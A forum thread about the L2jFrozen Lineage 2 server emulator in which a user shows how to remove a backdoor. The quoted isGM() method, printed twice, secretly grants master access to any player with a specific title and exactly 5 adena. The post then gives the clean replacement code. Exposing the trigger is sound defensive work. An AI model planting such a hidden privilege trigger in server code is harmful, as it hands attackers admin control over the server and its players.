Jump to content

Recommended Posts

Posted (edited)

@lTOTOl   Here is the removed Backdoor. 

 

1. Charinfo.java  ( i fix it ) ( change it with your Charinfo.Java)

/*
 * L2jFrozen Project - www.l2jfrozen.com 
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2, or (at your option)
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
 * http://www.gnu.org/copyleft/gpl.html
 */
package com.l2jfrozen.gameserver.network.serverpackets;

import java.util.Map;
import java.util.Set;

import org.apache.log4j.Logger;

import com.l2jfrozen.Config;
import com.l2jfrozen.gameserver.datatables.sql.NpcTable;
import com.l2jfrozen.gameserver.managers.CursedWeaponsManager;
import com.l2jfrozen.gameserver.model.Inventory;
import com.l2jfrozen.gameserver.model.L2Character;
import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance;
import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance;
import com.l2jfrozen.gameserver.templates.L2NpcTemplate;

/**
 * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D..........
 * <p>
 * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i
 * <p>
 * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................
 * <p>
 * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1
 * <p>
 * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%....
 * <p>
 * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................
 * <p>
 * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............}
 * <p>
 * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2....
 * <p>
 * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g
 * <p>
 * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?.
 * <p>
 * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7..
 * <p>
 * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................
 * <p>
 * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................
 * <p>
 * 00d0: 00 00
 * <p>
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h)
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d
 * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $
 */
public class CharInfo extends L2GameServerPacket
{
	private static final Logger LOGGER = Logger.getLogger(CharInfo.class);
	
	private static final String _S__03_CHARINFO = "[S] 03 CharInfo";
	private final L2PcInstance _activeChar;
	private final Inventory _inv;
	private final int _x, _y, _z, _heading;
	private final int _mAtkSpd, _pAtkSpd;
	private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd;
	
	private int _flRunSpd;
	
	private int _flWalkSpd;
	
	private int _flyRunSpd;
	
	private int _flyWalkSpd;
	private final float _moveMultiplier, _attackSpeedMultiplier;
	private final int _maxCp;
	
	/**
	 * @param cha
	 */
	public CharInfo(final L2PcInstance cha)
	{
		_activeChar = cha;
		_inv = cha.getInventory();
		_x = _activeChar.getX();
		_y = _activeChar.getY();
		_z = _activeChar.getZ();
		_heading = _activeChar.getHeading();
		_mAtkSpd = _activeChar.getMAtkSpd();
		_pAtkSpd = _activeChar.getPAtkSpd();
		_moveMultiplier = _activeChar.getMovementSpeedMultiplier();
		_attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier();
		_runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier);
		_walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier);
		_swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd;
		_swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd;
		_maxCp = _activeChar.getMaxCp();
	}
	
	@Override
	protected final void writeImpl()
	{
		boolean receiver_is_gm = false;
		
		final L2PcInstance tmp = getClient().getActiveChar();
		if (tmp != null && tmp.isGM())
		{
			receiver_is_gm = true;
		}
		
		if (!receiver_is_gm && _activeChar.getAppearance().getInvisible())
			return;
		
		if (_activeChar.getPoly().isMorphed())
		{
			final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId());
			
			if (template != null)
			{
				writeC(0x16);
				writeD(_activeChar.getObjectId());
				writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id
				writeD(_activeChar.getKarma() > 0 ? 1 : 0);
				writeD(_x);
				writeD(_y);
				writeD(_z);
				writeD(_heading);
				writeD(0x00);
				writeD(_mAtkSpd);
				writeD(_pAtkSpd);
				writeD(_runSpd);
				writeD(_walkSpd);
				writeD(_swimRunSpd/* 0x32 */); // swimspeed
				writeD(_swimWalkSpd/* 0x32 */); // swimspeed
				writeD(_flRunSpd);
				writeD(_flWalkSpd);
				writeD(_flyRunSpd);
				writeD(_flyWalkSpd);
				writeF(_moveMultiplier);
				writeF(_attackSpeedMultiplier);
				writeF(template.collisionRadius);
				writeF(template.collisionHeight);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon
				writeD(0);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon
				writeC(1); // name above char 1=true ... ??
				writeC(_activeChar.isRunning() ? 1 : 0);
				writeC(_activeChar.isInCombat() ? 1 : 0);
				writeC(_activeChar.isAlikeDead() ? 1 : 0);
				
				// if(gmSeeInvis)
				// {
				writeC(0); // if the charinfo is written means receiver can see the char
				// }
				// else
				// {
				// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation)
				// }
				
				writeS(_activeChar.getName());
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeS("Invisible");
				}
				else
				{
					writeS(_activeChar.getTitle());
				}
				
				writeD(0);
				writeD(0);
				writeD(0000); // hmm karma ??
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
				}
				else
				{
					writeD(_activeChar.getAbnormalEffect()); // C2
				}
				
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeC(0); // C2
			}
			else
			{
				LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template.");
			}
		}
		else
		{
			writeC(0x03);
			writeD(_x);
			writeD(_y);
			writeD(_z);
			writeD(_heading);
			writeD(_activeChar.getObjectId());
			writeS(_activeChar.getName());
			writeD(_activeChar.getRace().ordinal());
			writeD(_activeChar.getAppearance().getSex() ? 1 : 0);
			
			if (_activeChar.getClassIndex() == 0)
			{
				writeD(_activeChar.getClassId().getId());
			}
			else
			{
				writeD(_activeChar.getBaseClass());
			}
			
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE));
			
			// c6 new h's
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_mAtkSpd);
			writeD(_pAtkSpd);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_runSpd);
			writeD(_walkSpd);
			writeD(_swimRunSpd/* 0x32 */); // swimspeed
			writeD(_swimWalkSpd/* 0x32 */); // swimspeed
			writeD(_flRunSpd);
			writeD(_flWalkSpd);
			writeD(_flyRunSpd);
			writeD(_flyWalkSpd);
			writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier()
			writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier()
			writeF(_activeChar.getBaseTemplate().collisionRadius);
			writeF(_activeChar.getBaseTemplate().collisionHeight);
			
			writeD(_activeChar.getAppearance().getHairStyle());
			writeD(_activeChar.getAppearance().getHairColor());
			writeD(_activeChar.getAppearance().getFace());
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeS("Invisible");
			}
			else
			{
				writeS(_activeChar.getTitle());
			}
			
			writeD(_activeChar.getClanId());
			writeD(_activeChar.getClanCrestId());
			writeD(_activeChar.getAllyId());
			writeD(_activeChar.getAllyCrestId());
			// In UserInfo leader rights and siege flags, but here found nothing??
			// Therefore RelationChanged packet with that info is required
			writeD(0);
			
			writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0
			writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0
			writeC(_activeChar.isInCombat() ? 1 : 0);
			writeC(_activeChar.isAlikeDead() ? 1 : 0);
			
			// if(gmSeeInvis)
			// {
			writeC(0); // if the charinfo is written means receiver can see the char
			// }
			// else
			// {
			// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0
			// }
			
			writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount
			writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop
			
			final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics();
			
			final Set<Integer> cubicsIds = cubics.keySet();
			
			writeH(cubicsIds.size());
			for (final Integer id : cubicsIds)
			{
				if (id != null)
					writeH(id);
			}
			
			writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0);
			// writeC(0x00); // find party members
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
			}
			else
			{
				writeD(_activeChar.getAbnormalEffect());
			}
			
			writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim
			writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue)
			writeD(_activeChar.getClassId().getId());
			
			writeD(_maxCp);
			writeD((int) _activeChar.getCurrentCp());
			writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect());
			
			if (_activeChar.getTeam() == 1)
			{
				writeC(0x01); // team circle around feet 1= Blue, 2 = red
			}
			else if (_activeChar.getTeam() == 2)
			{
				writeC(0x02); // team circle around feet 1= Blue, 2 = red
			}
			else
			{
				writeC(0x00); // team circle around feet 1= Blue, 2 = red
			}
			
			writeD(_activeChar.getClanCrestLargeId());
			writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I
			writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura
			
			writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0)
			writeD(_activeChar.GetFishx());
			writeD(_activeChar.GetFishy());
			writeD(_activeChar.GetFishz());
			
			writeD(_activeChar.getAppearance().getNameColor());
			
			writeD(0x00); // isRunning() as in UserInfo?
			
			writeD(_activeChar.getPledgeClass());
			writeD(0x00); // ??
			
			writeD(_activeChar.getAppearance().getTitleColor());
			
			// writeD(0x00); // ??
			
			if (_activeChar.isCursedWeaponEquiped())
			{
				writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId()));
			}
			else
			{
				writeD(0x00);
			}
		}
	}
	
	/*
	 * (non-Javadoc)
	 * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType()
	 */
	@Override
	public String getType()
	{
		return _S__03_CHARINFO;
	}
}

2. Second ; Open L2PCInstance.java find this line ; 

 

public boolean isGM()
{
if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5)
{
  setAccessLevel(Config.MASTERACCESS_LEVEL);
  return false;
}
return getAccessLevel().isGm();
}




3 change it to ; 

public boolean isGM()
 {
  return getAccessLevel().isGm();
 }

and done. succesfully. tested working.

Edited by Ravin3~
Posted (edited)

 

@lTOTOl   Here is the removed Backdoor. 

 

1. Charinfo.java  ( i fix it ) ( change it with your Charinfo.Java)

/*
 * L2jFrozen Project - www.l2jfrozen.com 
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2, or (at your option)
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
 * http://www.gnu.org/copyleft/gpl.html
 */
package com.l2jfrozen.gameserver.network.serverpackets;

import java.util.Map;
import java.util.Set;

import org.apache.log4j.Logger;

import com.l2jfrozen.Config;
import com.l2jfrozen.gameserver.datatables.sql.NpcTable;
import com.l2jfrozen.gameserver.managers.CursedWeaponsManager;
import com.l2jfrozen.gameserver.model.Inventory;
import com.l2jfrozen.gameserver.model.L2Character;
import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance;
import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance;
import com.l2jfrozen.gameserver.templates.L2NpcTemplate;

/**
 * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D..........
 * <p>
 * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i
 * <p>
 * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................
 * <p>
 * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1
 * <p>
 * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%....
 * <p>
 * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................
 * <p>
 * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............}
 * <p>
 * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2....
 * <p>
 * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g
 * <p>
 * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?.
 * <p>
 * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7..
 * <p>
 * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................
 * <p>
 * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................
 * <p>
 * 00d0: 00 00
 * <p>
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h)
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d
 * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $
 */
public class CharInfo extends L2GameServerPacket
{
	private static final Logger LOGGER = Logger.getLogger(CharInfo.class);
	
	private static final String _S__03_CHARINFO = "[S] 03 CharInfo";
	private final L2PcInstance _activeChar;
	private final Inventory _inv;
	private final int _x, _y, _z, _heading;
	private final int _mAtkSpd, _pAtkSpd;
	private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd;
	
	private int _flRunSpd;
	
	private int _flWalkSpd;
	
	private int _flyRunSpd;
	
	private int _flyWalkSpd;
	private final float _moveMultiplier, _attackSpeedMultiplier;
	private final int _maxCp;
	
	/**
	 * @param cha
	 */
	public CharInfo(final L2PcInstance cha)
	{
		_activeChar = cha;
		_inv = cha.getInventory();
		_x = _activeChar.getX();
		_y = _activeChar.getY();
		_z = _activeChar.getZ();
		_heading = _activeChar.getHeading();
		_mAtkSpd = _activeChar.getMAtkSpd();
		_pAtkSpd = _activeChar.getPAtkSpd();
		_moveMultiplier = _activeChar.getMovementSpeedMultiplier();
		_attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier();
		_runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier);
		_walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier);
		_swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd;
		_swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd;
		_maxCp = _activeChar.getMaxCp();
	}
	
	@Override
	protected final void writeImpl()
	{
		boolean receiver_is_gm = false;
		
		final L2PcInstance tmp = getClient().getActiveChar();
		if (tmp != null && tmp.isGM())
		{
			receiver_is_gm = true;
		}
		
		if (!receiver_is_gm && _activeChar.getAppearance().getInvisible())
			return;
		
		if (_activeChar.getPoly().isMorphed())
		{
			final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId());
			
			if (template != null)
			{
				writeC(0x16);
				writeD(_activeChar.getObjectId());
				writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id
				writeD(_activeChar.getKarma() > 0 ? 1 : 0);
				writeD(_x);
				writeD(_y);
				writeD(_z);
				writeD(_heading);
				writeD(0x00);
				writeD(_mAtkSpd);
				writeD(_pAtkSpd);
				writeD(_runSpd);
				writeD(_walkSpd);
				writeD(_swimRunSpd/* 0x32 */); // swimspeed
				writeD(_swimWalkSpd/* 0x32 */); // swimspeed
				writeD(_flRunSpd);
				writeD(_flWalkSpd);
				writeD(_flyRunSpd);
				writeD(_flyWalkSpd);
				writeF(_moveMultiplier);
				writeF(_attackSpeedMultiplier);
				writeF(template.collisionRadius);
				writeF(template.collisionHeight);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon
				writeD(0);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon
				writeC(1); // name above char 1=true ... ??
				writeC(_activeChar.isRunning() ? 1 : 0);
				writeC(_activeChar.isInCombat() ? 1 : 0);
				writeC(_activeChar.isAlikeDead() ? 1 : 0);
				
				// if(gmSeeInvis)
				// {
				writeC(0); // if the charinfo is written means receiver can see the char
				// }
				// else
				// {
				// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation)
				// }
				
				writeS(_activeChar.getName());
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeS("Invisible");
				}
				else
				{
					writeS(_activeChar.getTitle());
				}
				
				writeD(0);
				writeD(0);
				writeD(0000); // hmm karma ??
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
				}
				else
				{
					writeD(_activeChar.getAbnormalEffect()); // C2
				}
				
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeC(0); // C2
			}
			else
			{
				LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template.");
			}
		}
		else
		{
			writeC(0x03);
			writeD(_x);
			writeD(_y);
			writeD(_z);
			writeD(_heading);
			writeD(_activeChar.getObjectId());
			writeS(_activeChar.getName());
			writeD(_activeChar.getRace().ordinal());
			writeD(_activeChar.getAppearance().getSex() ? 1 : 0);
			
			if (_activeChar.getClassIndex() == 0)
			{
				writeD(_activeChar.getClassId().getId());
			}
			else
			{
				writeD(_activeChar.getBaseClass());
			}
			
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE));
			
			// c6 new h's
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_mAtkSpd);
			writeD(_pAtkSpd);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_runSpd);
			writeD(_walkSpd);
			writeD(_swimRunSpd/* 0x32 */); // swimspeed
			writeD(_swimWalkSpd/* 0x32 */); // swimspeed
			writeD(_flRunSpd);
			writeD(_flWalkSpd);
			writeD(_flyRunSpd);
			writeD(_flyWalkSpd);
			writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier()
			writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier()
			writeF(_activeChar.getBaseTemplate().collisionRadius);
			writeF(_activeChar.getBaseTemplate().collisionHeight);
			
			writeD(_activeChar.getAppearance().getHairStyle());
			writeD(_activeChar.getAppearance().getHairColor());
			writeD(_activeChar.getAppearance().getFace());
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeS("Invisible");
			}
			else
			{
				writeS(_activeChar.getTitle());
			}
			
			writeD(_activeChar.getClanId());
			writeD(_activeChar.getClanCrestId());
			writeD(_activeChar.getAllyId());
			writeD(_activeChar.getAllyCrestId());
			// In UserInfo leader rights and siege flags, but here found nothing??
			// Therefore RelationChanged packet with that info is required
			writeD(0);
			
			writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0
			writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0
			writeC(_activeChar.isInCombat() ? 1 : 0);
			writeC(_activeChar.isAlikeDead() ? 1 : 0);
			
			// if(gmSeeInvis)
			// {
			writeC(0); // if the charinfo is written means receiver can see the char
			// }
			// else
			// {
			// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0
			// }
			
			writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount
			writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop
			
			final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics();
			
			final Set<Integer> cubicsIds = cubics.keySet();
			
			writeH(cubicsIds.size());
			for (final Integer id : cubicsIds)
			{
				if (id != null)
					writeH(id);
			}
			
			writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0);
			// writeC(0x00); // find party members
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
			}
			else
			{
				writeD(_activeChar.getAbnormalEffect());
			}
			
			writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim
			writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue)
			writeD(_activeChar.getClassId().getId());
			
			writeD(_maxCp);
			writeD((int) _activeChar.getCurrentCp());
			writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect());
			
			if (_activeChar.getTeam() == 1)
			{
				writeC(0x01); // team circle around feet 1= Blue, 2 = red
			}
			else if (_activeChar.getTeam() == 2)
			{
				writeC(0x02); // team circle around feet 1= Blue, 2 = red
			}
			else
			{
				writeC(0x00); // team circle around feet 1= Blue, 2 = red
			}
			
			writeD(_activeChar.getClanCrestLargeId());
			writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I
			writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura
			
			writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0)
			writeD(_activeChar.GetFishx());
			writeD(_activeChar.GetFishy());
			writeD(_activeChar.GetFishz());
			
			writeD(_activeChar.getAppearance().getNameColor());
			
			writeD(0x00); // isRunning() as in UserInfo?
			
			writeD(_activeChar.getPledgeClass());
			writeD(0x00); // ??
			
			writeD(_activeChar.getAppearance().getTitleColor());
			
			// writeD(0x00); // ??
			
			if (_activeChar.isCursedWeaponEquiped())
			{
				writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId()));
			}
			else
			{
				writeD(0x00);
			}
		}
	}
	
	/*
	 * (non-Javadoc)
	 * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType()
	 */
	@Override
	public String getType()
	{
		return _S__03_CHARINFO;
	}
}

2. Second ; Open L2PCInstance.java find this line ; 

 

public boolean isGM()
{
if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5)
{
  setAccessLevel(Config.MASTERACCESS_LEVEL);
  return false;
}
return getAccessLevel().isGm();
}




3 change it to ; 

public boolean isGM()
 {
  return getAccessLevel().isGm();
 }

and done. succesfully. tested working.

 

 

 

 

Thank you very much good man, from the heart;) Successful projects and more

Edited by lTOTOl
Posted (edited)

the patch gives me error "cannot resolve host name and cannot login into the game, also systextures and animations missing. can any1 share the coplete patch?

Edited by Rio

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Posts

    • We are excited to announce the open beta testing of the Fulgrim x4 server, starting November 29th, 2024, at 19:00 server time (19:00 по МСК). There will be an NPC available on the test server from whom you can purchase items, gain levels, professions, and other services.   More information at our >Forum
